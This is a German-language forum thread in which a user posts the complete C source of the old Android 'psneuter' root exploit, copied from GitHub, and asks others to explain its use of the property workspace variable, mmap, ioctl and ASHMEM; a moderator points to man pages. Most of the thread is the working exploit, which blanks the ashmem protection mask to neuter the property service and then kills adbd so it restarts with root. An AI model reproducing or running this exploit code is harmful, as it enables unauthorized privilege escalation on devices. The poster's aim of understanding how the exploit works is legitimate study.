PSNeuter Exploit Android



  • Hallo,

    Ich würde gerne das PSNEUTER Exploit - welches zwar schon recht alt ist - von Android besser verstehen. Diesbezüglich habe ich noch einige Fragen, die man mir hoffentlich hier beantworten kann:

    Den Quellcode habe ich von github kopiert:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <sys/mman.h>
    #include <sys/ioctl.h>
    #include <sys/types.h>
    #include <linux/ioctl.h>
    #include <signal.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <dirent.h>
    #include <stdint.h>
    
    #define ASHMEM_NAME_LEN 256
    #define __ASHMEMIOC 0x77
    #define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
    #define ASHMEM_GET_NAME _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
    #define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)
    #define ASHMEM_GET_SIZE _IO(__ASHMEMIOC, 4)
    #define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)
    #define ASHMEM_GET_PROT_MASK _IO(__ASHMEMIOC, 6)
    #define ASHMEM_PIN _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
    #define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
    #define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9)
    #define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)
    
    int main(int argc, char **argv, char **envp)
    {
        char *workspace;
        char *fdStr;
        char *szStr;
    
        char *ppage;
    
        int fd;
        long sz;
    
        DIR *dir;
        struct dirent *dent;
        char cmdlinefile[PATH_MAX];
        char cmdline[PATH_MAX];
    
        pid_t adbdpid = 0;
    
        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stderr, 0, _IONBF, 0);
    
        workspace = getenv("ANDROID_PROPERTY_WORKSPACE");
    
        if(!workspace)
        {
            fprintf(stderr, "Couldn't get workspace.\n");
            exit(1);
        }
    
        fdStr = workspace;
        if(strstr(workspace, ","))
            *(strstr(workspace, ",")) = 0;
        else
        {
            fprintf(stderr, "Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n");
            exit(1);
        }
        szStr = fdStr + strlen(fdStr) + 1;
    
        fd = atoi(fdStr);
        sz = atol(szStr);
    
        if((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED)
        {
            fprintf(stderr, "mmap() failed. %s\n", strerror(errno));
            exit(1);
        }
    
        if(ioctl(fd, ASHMEM_SET_PROT_MASK, 0))
        {
            fprintf(stderr, "Failed to set prot mask (%s)\n", strerror(errno));
            exit(1);
        }
    
        printf("property service neutered.\n");
        printf("killing adbd. (should restart in a second or two)\n");
    
        // now kill adbd.
    
        dir = opendir("/proc");
        if(!dir)
        {
            fprintf(stderr, "Failed to open /proc? kill adbd manually... somehow\n");
            exit(1);
        }
        while((dent = readdir(dir)))
        {
            if(strspn(dent->d_name, "0123456789") == strlen(dent->d_name))
            {
             // pid dir
             strcpy(cmdlinefile, "/proc/");
             strcat(cmdlinefile, dent->d_name);
             strcat(cmdlinefile, "/cmdline");
             if((fd = open(cmdlinefile, O_RDONLY)) < 0)
             {
                    fprintf(stderr, "Failed to open cmdline for pid %s\n", dent->d_name);
                    continue;
             }
             if(read(fd, cmdline, PATH_MAX) < 0)
             {
                    fprintf(stderr, "Failed to read cmdline for pid %s\n", dent->d_name);
                    close(fd);
                    continue;
             }
             close(fd);
             //         printf("cmdline: %s\n", cmdline);
             if(!strcmp(cmdline, "/sbin/adbd"))
             {
                    // we got it.
                    adbdpid = atoi(dent->d_name);
                    break;
             }
            }
        }
    
        if(!adbdpid)
        {
            fprintf(stderr, "Failed to find adbd pid :(\n");
            exit(1);
        }
    
        if(kill(adbdpid, SIGTERM))
        {
            fprintf(stderr, "Failed to kill adbd (%s)\n", strerror(errno));
            exit(1);
        }
        return 0;
    }
    

    Ich habe die Punkte welche mir unklar sind, mal hier aufgeschrieben:
    Soweit ich weiss, wird versucht die Information ro.secure für den adb daemon nicht mehr zugänglich zu machen demnach vergibt ADB root Rechte. Anscheinend wird das mit mmap, ioctl und ASHMEM erledigt.

    1. Was hat es mit der Workspace Environment Variable auf sich?
    2. Kann mir wer das mmap und ioctl genauer erklären?
    3. Was hat es mit dem ASHMEM auf sich?

    Vielen Dank an all die C-Gurus, die sich Zeit dafür nehmen um mir / meinem Verständnis zu helfen.

    schöne Grüsse



  • Kann wirklich keiner helfen?


  • Mod

    LinuxGuest schrieb:

    Kann wirklich keiner helfen?

    Google/Manpages? Da findest du zu allen deinen Stichworten heraus, was das ist. Wenn du dann noch weitere konkrete Fragen hast, kannst du sie gerne stellen. Aber derzeit sind die Fragen viel zu allgemein.



  • Guten Tag,

    Natürlich habe ich mir die Manpages schon durchgesehen. Auch habe ich die Workspace Environment Variable angesehen. (Die aus einer Zahl, einem , und einer weiteren Zahl besteht).

    Was mir nicht klar ist:
    - Um was handelt es sich bei Ashmem genau?
    - Wie kommt man von der Workspace Environment auf die "Lage" der ro.secure

    Mir ist auch klar dass ich mit mmap eine datei/device in den speicher mappen kann (vermutlich nur HIGH MEM Regionen). Nur verstehe ich den Sinn des Codes nicht ganz.

    Hoffe ich habe mich klarer ausgedrückt - danke.


Anmelden zum Antworten